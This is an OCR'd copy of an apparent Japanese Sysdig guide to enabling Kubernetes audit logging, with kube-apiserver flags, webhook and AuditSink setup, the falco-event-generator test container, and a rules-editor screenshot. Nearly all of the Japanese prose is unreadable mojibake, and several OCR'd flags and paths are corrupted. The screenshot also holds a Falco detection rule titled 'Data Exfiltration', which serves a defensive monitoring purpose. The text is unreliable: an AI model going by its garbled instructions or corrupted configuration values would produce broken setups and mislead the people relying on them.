2. Rt &S fzaudit-policy.yaml 7 74 ILZET 4« LY k1) /var/lib/k8s_auditiCa E—LET, (2D
TA4LY FJIFAPIH—N—IZTO U bEN, BEE/VTTIVIT7ANADT I LR E171H
LE 9, MinikubeTld, Minikube VM LEIZHZBHENRHY FT, )

3. /etc/kubernetes/manifests/kube-apiserver.yaml ©Kubernetes APIH—/\N\—TY Z_J xR 4 X R
L. RO RS54 UBIMEEMLET,

--audit-log-path=/var/1lib/k8s audit/k8s_ audit events.log
--audit-policy-file=/var/1lib/k8s_ audit/audit-policy.yaml
--—audit-log-maxbackup=1

-—audit-log-maxsize=10

-—audit-dynamic-configuration
-—-feature-gates=DynamicAuditing=true

--runtime-config=auditregistration.k8s.io/vlalphal=true

av Y R34 U5I18IE. 7045 S L/usr/local/bin/kube-apiserver~®M3|# & L Ta 744k
TRESNFT, V2O X MOBEEEI VA VERDELSICHEYET,

spec:
containers:
- command:

- kube-apiserver --allow-privileged=true --anonymous—auth=false

&)sysdig >0


https://github.com/draios/sysdig-cloud-scripts/blob/master/k8s_audit_config/audit-policy.yaml

\
\3

4

--audit-log-path=/var/1lib/k8s_audit/audit.log
--audit-policy-file=/var/lib/k8s_audit/audit-policy.yaml
-—audit-log-maxbackup=1

-—audit-log-maxsize=10

-—audit-dynamic-configuration
--feature-gates=DynamicAuditing=true

--runtime-config=auditregistration.k8s.io/vlalphal=true

/etc/kubernetes/manifests/kube-apiserver.yamllZ & % Kubernetes APl —/N\—Y —_J X b &
ZHEL T, /var/lib/k8s_auditd® < > bk Zkube-apiservera > 5+ —IZEBMLET, BEET St
DaVIERODESITHEY FET,

volumeMounts:
- mountPath: /var/lib/k8s_audit/
name: k8s-audit

readOnly: true

volumes:

- hostPath:
path: /var/lib/k8s_ audit
type: DirectoryOrCreate

name: k8s-audit

T_IJTRAMEZEET SE . Kubernetes APIH—N\—ABEMICEREELET,

A+ = v Audit SinkEERLT %
B4+ 2 v Audit SinkAMER S B &, KubernetesB& A RN FMSysdigT—2 x> DY —
ERICIL—T4293NnFET,

sysdig >



WebhookE =3B/ v TV RE#HFET S
TS5y b IA—LEBDERDIFEAEF. CNLOAEZOWVWTANZFERALET,

Webhooki#f 27 7 1 L EERRT B
Sysdigld, "— k7765% M L T, SysdigL— Y b H—ERIZEAEM T ONIPICERARY FEE
ET5ToTL—HMEESNEEYY—R 77/ ILERBELET,

EERDIPHAIRBLEHAGENT SERVICE CLUSTERIPTEZ SN TWAEWS AT IFoFL— Ml &
nTHY. envsubstZEDTOT S LEZFRALTITSHTATEET,

1. webhook-config.yamlLinZ&~»>O0—KLZEY,

2. UTFZEEFTLT, I—Pz Y bDA VA M= ILEFEIIHREHEOR Ty TTHER LT
sysdig-agent— E R IZBE&E T S f=ClusterlPIP7 KLAZTF>FL—r 774 ILIZATIL
F9,

AGENT_SERVICE_CLUSTERIP =$ (kubectl get service sysdig-agent -o = jsonpath = {,

spec.clusterlIP}-n sysdig-agent) envsubst <webhook-config.yaml.in> webhook-config.yaml

i : sysdig-agent.sysdig-agent.svc.cluster.local’a EDH—E X KA A % (EKubernetes APIH—
N—DLIEBRTEFEAN BEEFRY FELTEFTINEFTH, ERICIETISREI—D—
BTlEHY FLA) . ClusterlPEN S DH—ERICEAERM TNz —T 4« Y ARETT,

EvE

webhook/ Ny O TV REFRA L TEEZBAANV N EIL—T 12259352 &1, Kubernetesv1.11+m 5
FIATCTZ5#EETd, BREMIZDOULTIL, Kubernetes® FF a1 A FESBEBLTLESL,

&) sysdig >



https://github.com/draios/sysdig-cloud-scripts/blob/master/k8s_audit_config/webhook-config.yaml.in
https://kubernetes.io/docs/tasks/debug-application-cluster/audit/#webhook-backend

HALF3v%H AuditSinkZERT S
FAF 299 AuditSinkZ=FRT B568. BEEA RN bEsysdigT—P Y M H—EXRIZEIET S
AuditSinkA 7o =9 FEERT DDBELHY FT,

Sysdigl&, VY DIERIZERTES T TL— LI 74 ILERBELET,

1. audit-sinkyamlinZ4&»>O—KLZEJ,

2. UTEEFTLT, IT—CPz Y bOA VR ML FLITIREGDOR T Y TTER LI
sysdig-agent— E R [ZBEE T 1T S f=ClusterlPIP7 FLRZTF>TL—r 274 IILIZAAL
F9,

AGENT SERVICE CLUSTERIP=$ (kubectl get service sysdig-agent
-o=jsonpath={.spec.clusterIP} -n sysdig-agent) envsubst < audit-sink.yaml.in >
audit-sink.yaml

=

AuditSink APIA 7o x4 FEFER L= 4 7 2 v 4 Audit webhookld. Kubernetesv1.13 +h & | FH
TEET, F2EMITDOLVTIL, Kubernetes®d KF¥xa A2 FESHBLTLEELY,

MEETAITS
KubernetesBiBEA RNV NI —V 0 MIBEYIZESINDZEEXFTRA T BICIE. ROVWTHAMEE
TCEET,

e AllK8s Object Modifications7R 1) >—&E#IZL., T7AA A2 b, Y—E X, configmap, &

FIER—LAR—RZEB LT, ANV IDERELVEESNTVEINE >IN EZHRLE
ER

SFEHOLWLK8S7 I TA ETAHREDMDAKRY O—ZFFXIL., TRMLET,
falco-event-generator Docker{ * — #{# A L T. SysdigSecure TIREIN BT I+IL LD
IW—I/R)o—DELITRYEVTT BTV TAETAEZERTEET, ROKS5%GaATUF
SAVEFRALTAA—DERITTEET,

&) sysdig >


https://github.com/draios/sysdig-cloud-scripts/blob/master/k8s_audit_config/audit-sink.yaml.in

docker run -v SHOME/.kube:/root/.kube -it falcosecurity/falco-event-generator

k8s audit

hIZkY., R—LAR—ZX falco-event-generator(Z!) Y —ZADERR EhE T,

S M8 : Sysdig SecureRA TOFalcoRFERE LV DY —ILDFEMIZDLNTIL, FalcoD A T«
TJRXaA b

(R—4) BREEZBRELTHRIUTH

EHE L. SysdiglxRX4o ) 7 b4 LE L1 : enable-k8s-audit.shld. EKSZR L EEEDTRTH
KubernetesT 4 R F)Ea—2 3V DEEBEO T HR—F BT S5OITDELGFIEEETLE
ER

bash enable-k8s-audit.sh <distribution> TE{TTE £ 9, <distribution>[XXRDWNFTIhHITT,

e minishift-3.11

e openshift-3.11

e openshift-4.2, openshift-4.3

e gke

o iks

e rke-1.13 (implies Kubernetes 1.13)

e kops

e minikube-1.13 (implies Kubernetes 1.13)

e minikube-1.12 (implies Kubernetes 1.11/1.12)

sysdig-cloud-scripts / k8s_audit_config7 4 LY DN SEFTTEI2HENHY FT,

BEICE-2TIE, GCEFRTP Y FID, IKSYSRA—BHREDAAERONDZEAHBYET,
Minikube/Openshift-3.11/Minishift 3.11MD1H& . ssh/scpZEA L TAPIRRA—/ —KIZ7 74 L%
E—L. RVUTFZE2ETLET, TALUNDIGEEIE. ELICEEELT 2LELNHY FT,

&)sysdig >


https://falco.org/docs/event-sources/kubernetes-audit/
https://falco.org/docs/event-sources/kubernetes-audit/
https://github.com/draios/sysdig-cloud-scripts/blob/master/k8s_audit_config/enable-k8s-audit.sh

UITERR

KubernetesBE&E O 5 D # L L Falco/l—ILEFRT B2, R O—FERT 2HELHY T, KR

O—DERIZDONWTIK, R O—DFFXFa A2 43R

EEn0SL—IILnEE
KubernetesBs&E O S )L—ILIE, RYY L —F
2FT, EBIL—ILERTITBICIE:

S

Da—JLIZH

1. [policies]EDa—ILH D, [Rules Editor]® T

LTSy,

BSysdigR) —L—)LIF 4 B—TRRT

[CBLFET,

2. TIAILNBPDIL—ILDO ROy TE A= 1—%FE. k8s_audit_rulesyamlZ:&IRLFET,

Rules Editor

This panel lets you modify the rules that are used as a base for the policies.
Existing rules can be changed or new, custom rules can be added. The rules follow the Sysdig Falco syntax, documented here.

Custom Rules

1 rule: Data Exfiltration

2 desc: There is a process running in the worker container that is not described i
3 condition: evt.type=execve and not proc.name=java
4

5

output: "Unauthorized process (%proc.cmdline) running in (%container.id)"
priority: ERROR

6 6 #
7 7 #
8 # 8 #
9 # Auto-generated set of falco rules for nginx containers 9 #
10 # Generated at 2018-05-23 ©8:29:54 UTC 10 #
11 # 1 #
12 2 ¢
13 # By default, the autogenerated rules include rules that attempt to 13 #
14 # restrict the set of system calls that can be performed by 14 #
15 # applications. However, we know that these rules are fairly FP-prone, 15 #
16 # so they are disabled by default. If you'd like to enable them, 16 #
17 # either change or override this macro's condition to "evt.num >= @". 17 #
18 — macro: nginx_consider_syscalls 18 -
19 condition: (evt.num < @) 19

20 20 #
21 21 =
22 # These policies are limited te containers, specifically those where 22

23 # the container image name starts with "nginx" 23

24 — macro: app_nginx 24 #
25 condition: container and container.image startswith "nginx" 25 -
26 26

27 27

Y sysdig

k8s_audit_rules.yaml

falco_rules.yaml

a

Read Only

© dba Sysdig.

k8s_audit_rules.yaml

Licensed under the Apache License, Version 2.8 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

http://www.apache.org/licenses/LICENSE-2.8

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIMD, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

required_engine_version: 2

Generally only consider audit events once the response has completed
list: k8s_audit_stages

items: ["ResponseComplete"]

Generally exclude users starting with “system:"

macro: non_system_user
condition: (not ka.user.name startswith “system:")

CANCEL

55



EEARVIERTTS

KubernetesBS&E A XN kE, 25 RAZ—HNDSysdigL—S x> hT—FEVEY MIIL—F 425
552 YFELL,

R S—DMERLE N B &, SysdigSecure Policy EventsES 1 —I)LEZ N L TEBAARY FZERTES
KIITHYET,

\

\) sysdig >

e



